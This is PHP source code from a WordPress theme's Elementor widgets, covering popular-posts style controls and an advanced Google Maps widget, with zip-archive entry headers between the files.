				'label' => __( 'Post', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'pborder_color', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul li' => 'border-color: {{VALUE}};',
				)
			)
		);

		$this->add_control(
			'heading_ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:hover' => 'color: {{VALUE}};',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} .popularpost_item .pcpopular_new_post_title'
			)
		);

		$this->add_responsive_control(
			'featitle_size', array(
				'label'     => __( 'Font size for Featured/Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title' => 'font-size: {{SIZE}}px'
				),
			)
		);

		$this->add_control(
			'heading_pmeta_style', array(
				'label' => __( 'Post Meta', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'pmeta_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_meta' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_acolor', array(
				'label'     => __( 'Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_meta a' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_ahcolor', array(
				'label'     => __( 'Hover Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_meta a:hover' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => '{{WRAPPER}} .popularpost_meta',
			)
		);

		$this->add_control(
			'heading_number_style', array(
				'label' => __( 'Number Style', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_control(
			'number_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:before' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bgcolor', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:before' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bdcolor', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:before' => 'border: 1px solid {{VALUE}};',
				)
			)
		);

		$this->add_control(
			'number_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:hover .pcpopular_new_post_title a:before' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bghcolor', array(
				'label'     => __( 'Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:hover .pcpopular_new_post_title a:before' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'number_bdhcolor', array(
				'label'     => __( 'Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:hover .pcpopular_new_post_title a:before' => 'border: 1px solid {{VALUE}};',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'number_typo_small',
				'label'    => __( 'Number Typography on Small Posts', 'soledad' ),
				'selector' => '{{WRAPPER}} .popularpost_item:not(.first) .pcpopular_new_post_title a:before',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'number_typo_big',
				'label'    => __( 'Number Typography on Big Post', 'soledad' ),
				'selector' => '{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title a:before, {{WRAPPER}} .popularpost_item.first:hover .pcpopular_new_post_title a:before',
			)
		);
		$this->add_responsive_control(
			'number_size_small', array(
				'label'     => __( 'Number Size on Small Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 10, 'max' => 200, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item:not(.first) .pcpopular_new_post_title a:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
					'{{WRAPPER}} .popularpost_item:not(.first)'                                    => 'padding-left: calc({{SIZE}}px + 35px);',
				)
			)
		);
		$this->add_responsive_control(
			'number_size_big', array(
				'label'     => __( 'Number Size on Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 10, 'max' => 200, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title a::before, {{WRAPPER}} .popularpost_item.first:hover .pcpopular_new_post_title a:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
					'{{WRAPPER}} .popularpost_item.first .pcpopular_new_post_title,{{WRAPPER}} .popularpost_item.first .popularpost_meta'                                   => 'padding-left: calc({{SIZE}}px + 35px);',
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section( 'post_navigation_style', array(
			'label'     => __( 'Post Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'ajaxnav!' => '' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_nav_btn_typo',
			'label'    => __( 'Button Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title, {{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button',
		) );

		$this->add_control( 'post_nav_btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdcolor', array(
			'label'     => __( 'Button Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdhcolor', array(
			'label'     => __( 'Button Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings         = $this->get_settings();
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : '';
		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}
		$loop = new \WP_Query( $query_args );

		if ( ! $loop->have_posts() ) {
			return;
		}

		$title_length = intval( $settings['title_length'] );
		$postdate     = 'yes' == $settings['hide_postdate'] ? true : false;
		$showauthor   = 'yes' == $settings['show_author'] ? true : false;
		$showcomment  = 'yes' == $settings['show_comment'] ? true : false;
		$showviews    = 'yes' == $settings['show_postviews'] ? true : false;

		$ajax_tab_var = [
			'title_length'   => intval( $settings['title_length'] ),
			'hide_postdate'  => $settings['hide_postdate'],
			'show_author'    => $settings['show_author'],
			'show_comment'   => $settings['show_comment'],
			'show_postviews' => $settings['show_postviews'],
			'custom_query'   => $query_args,
			'columns'        => $settings['columns'],
			'tcolumns'       => $settings['tcolumns'],
			'mcolumns'       => $settings['mcolumns'],
		];

		$css_class = 'penci-block-vc penci_recent-posts-sc widget';
		$rand      = rand( 1000, 10000 );
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php
				get_template_part( 'inc/templates/popular_posts', '', [
					'loop'         => $loop,
					'class'        => 'demo',
					'showauthor'   => $showauthor,
					'postdate'     => $postdate,
					'showviews'    => $showviews,
					'showcomment'  => $showcomment,
					'title_length' => $title_length,
					'thumb'        => $thumb_size,
					'columns'      => $settings['columns'],
					'tcolumns'     => $settings['tcolumns'],
					'mcolumns'     => $settings['mcolumns'],
					'id'           => 'pcstylisted-acount-' . sanitize_text_field( $rand ),
					'data_attr'    => 'data-mes="' . penci_get_setting( 'penci_trans_no_more_posts' ) . '" data-max="' . esc_attr( $loop->max_num_pages ) . '" data-settings=\'' . json_encode( $ajax_tab_var ) . '\' data-paged="1" data-action="penci_stylisted_articles_count_ajax"',
				] );

				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				wp_reset_postdata();
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\um  m  5  inc/elementor/modules/penci-advanced-gmaps/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAdvancedGmaps;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-gmaps';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedGmaps' );
	}
}
PK     N\B  B  K  inc/elementor/modules/penci-advanced-gmaps/widgets/penci-advanced-gmaps.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedGmaps\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Css_Filter;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Exit if accessed directly

class PenciAdvancedGmaps extends Base_Widget {

	public function get_name() {
		return 'penci-advanced-gmap';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced Google Maps', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-google-maps';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'advanced', 'gmap', 'location' ];
	}

	public function get_script_depends() {
		return [ 'google-map', 'penci-amap' ];
	}

	protected function is_dynamic_content(): bool {
		return true;
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content_gmap',
			[
				'label' => esc_html__( 'Google Map', 'soledad' ),
			]
		);

		$this->add_control(
			'avd_google_map_default_zoom',
			[
				'label'   => esc_html__( 'Default Zoom', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 15,
				],
				'range'   => [
					'px' => [
						'min' => 1,
						'max' => 24,
					],
				],
			]
		);

		$this->add_responsive_control(
			'avd_google_map_height',
			[
				'label'     => esc_html__( 'Map Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'max' => 1000,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map' => '--mheight: {{SIZE}}{{UNIT}}',
				],
			]
		);
		$this->add_control(
			'avd_google_map_show_list',
			[
				'label'     => esc_html__( 'Show List', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'no',
				'separator' => 'before',
			]
		);
		$this->add_control(
			'avd_google_map_list_position',
			[
				'label'     => esc_html__( 'List Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'right',
				'options'   => [
					'left'  => esc_html__( 'Left', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
				],
				'condition' => [
					'avd_google_map_show_list' => 'yes',
				],
			]
		);

		$this->add_control(
			'gmap_geocode',
			[
				'label'     => esc_html__( 'Search Address', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'search_placeholder_text',
			[
				'label'     => esc_html__( 'Placeholder Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Search...', 'soledad' ),
				'condition' => [
					'gmap_geocode' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'search_align',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-gmap-search-wrapper' => 'text-align: {{VALUE}};',
				],
				'condition' => [
					'gmap_geocode' => 'yes',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_marker',
			[
				'label' => esc_html__( 'Locations', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'marker_title',
			[
				'label'       => esc_html__( 'Title', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
			]
		);
		$repeater->add_control(
			'marker_place',
			[
				'label'       => esc_html__( 'Place', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);
		$repeater->add_control(
			'marker_phone',
			[
				'label'       => esc_html__( 'Phone', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->add_control(
			'marker',
			[
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'marker_title'   => esc_html__( 'PenciDesign', 'soledad' ),
						'marker_place'   => esc_html__( '551 Swanston St Carlton VIC 3053, Australia ', 'soledad' ),
						'marker_phone'   => esc_html__( '+12345678', 'soledad' ),
						'marker_website' => esc_html__( 'https://soledad.pencidesign.net/', 'soledad' ),
					],
				],
				'title_field' => '{{{ marker_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_search',
			[
				'label'     => esc_html__( 'Search', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'gmap_geocode' => 'yes',
				],
			]
		);

		$this->add_control(
			'search_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'search_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'search_placeholder_color',
			[
				'label'     => esc_html__( 'Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input::placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-search.penci-search-default span'                             => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'search_shadow',
				'selector' => '{{WRAPPER}} .penci-search.penci-search-default .penci-search-input',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'search_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-search.penci-search-default .penci-search-input',
			]
		);

		$this->add_responsive_control(
			'search_border_radius',
			[
				'label'      => esc_html__( 'Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'search_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'search_margin',
			[
				'label'      => esc_html__( 'Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'avd_google_map_show_list!' => 'yes',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'searh_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-search.penci-search-default .penci-search-input',
			]
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_content_list',
			[
				'label'     => esc_html__( 'Map List', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'avd_google_map_show_list' => 'yes',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'map_list_background',
				'label'    => esc_html__( 'Backgrund', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-gmap-lists-wrapper',
			]
		);
		$this->add_control(
			'list_item_bd_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-gmap-list-item, {{WRAPPER}} .penci-advanced-map .penci-gmap-lists-wrapper, {{WRAPPER}} .penci-gmap-lists-wrapper .penci-gmap-search-wrapper' => 'border-color: {{VALUE}};',
				],
			]
		);
		$this->add_control(
			'list_item_separator_color',
			[
				'label'     => esc_html__( 'Separator Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-item' => 'border-color: {{VALUE}}',
				],
			]
		);
		$this->add_responsive_control(
			'list_item_separator_width',
			[
				'label'     => esc_html__( 'Separator Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-item' => 'border-width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->start_controls_tabs(
			'list_item_tabs'
		);
		$this->start_controls_tab(
			'list_item_tab_title',
			[
				'label' => esc_html__( 'Title', 'soledad' ),
			]
		);
		$this->add_control(
			'list_item_title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-title' => 'color: {{VALUE}}',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'list_item_title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-title',
			]
		);

		$this->end_controls_tab();
		$this->start_controls_tab(
			'list_item_tab_place',
			[
				'label' => esc_html__( 'Place', 'soledad' ),
			]
		);
		$this->add_control(
			'list_item_place_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-place' => 'color: {{VALUE}}',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'list_item_place_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-place',
			]
		);
		$this->end_controls_tab();
		$this->start_controls_tab(
			'list_item_tab_phone',
			[
				'label' => esc_html__( 'Phone', 'soledad' ),
			]
		);
		$this->add_control(
			'list_item_phone_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-phone' => 'color: {{VALUE}}',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'list_item_phone_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-phone',
			]
		);
		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();
	}

	public function render() {
		$settings = $this->get_settings_for_display();
		$id       = 'penci-advanced-gmap-' . $this->get_id() . '-' . rand( 10, 100 );

		if ( $settings['gmap_geocode'] === 'yes' && $settings['avd_google_map_show_list'] !== 'yes' ): ?>

            <div class="penci-gmap-search-wrapper penci-margin">
                <form method="post" id="<?php echo esc_attr( $id ); ?>form" class="penci-search penci-search-default">
                    <span data-penci-search-icon></span>
                    <input id="<?php echo esc_attr( $id ); ?>address" name="address" class="penci-search-input"
                           type="search"
                           placeholder="<?php echo ! empty( $settings['search_placeholder_text'] ) ? esc_html( $settings['search_placeholder_text'] ) : 'Search...'; ?>">
                </form>
            </div>

		<?php endif;
		$this->add_render_attribute( 'penci-advanced-map', 'class', 'penci-advanced-map' );
		if ( ( $settings['avd_google_map_show_list'] == 'yes' ) ):
			$this->add_render_attribute( 'penci-advanced-map', 'class', [ 'penci-direction-' . $settings['avd_google_map_list_position'] . '' ] );
		endif;
		if ( ( $settings['avd_google_map_show_list'] == 'yes' ) && ( $settings['gmap_geocode'] == 'yes' ) ):
			$this->add_render_attribute( 'penci-advanced-map', 'class', [ 'penci-has-lists-search-' . $settings['avd_google_map_show_list'] . '' ] );
		endif;
		?>
        <div <?php $this->print_render_attribute_string( 'penci-advanced-map' ); ?>>
            <div class="penci-grid-wrap">
                <div class="penci-advanced-map-wrapper">
					<?php
					$map_zoom = isset( $settings['avd_google_map_default_zoom']['size'] ) ? (int) $settings['avd_google_map_default_zoom']['size'] : 15;
					$map_type = 'road';
					foreach ( $settings['marker'] as $map_list => $marker_item ) {
						$mapclass    = 0 == $map_list ? 'active' : 'inactive';
						$block_id    = 'penci_map_a_' . $map_list;
						$map_address = isset( $marker_item['marker_place'] ) ? $marker_item['marker_place'] : '';
						$params      = [
							rawurlencode( $map_address ),
							absint( $map_zoom ),
							esc_attr( $map_type ),
						];
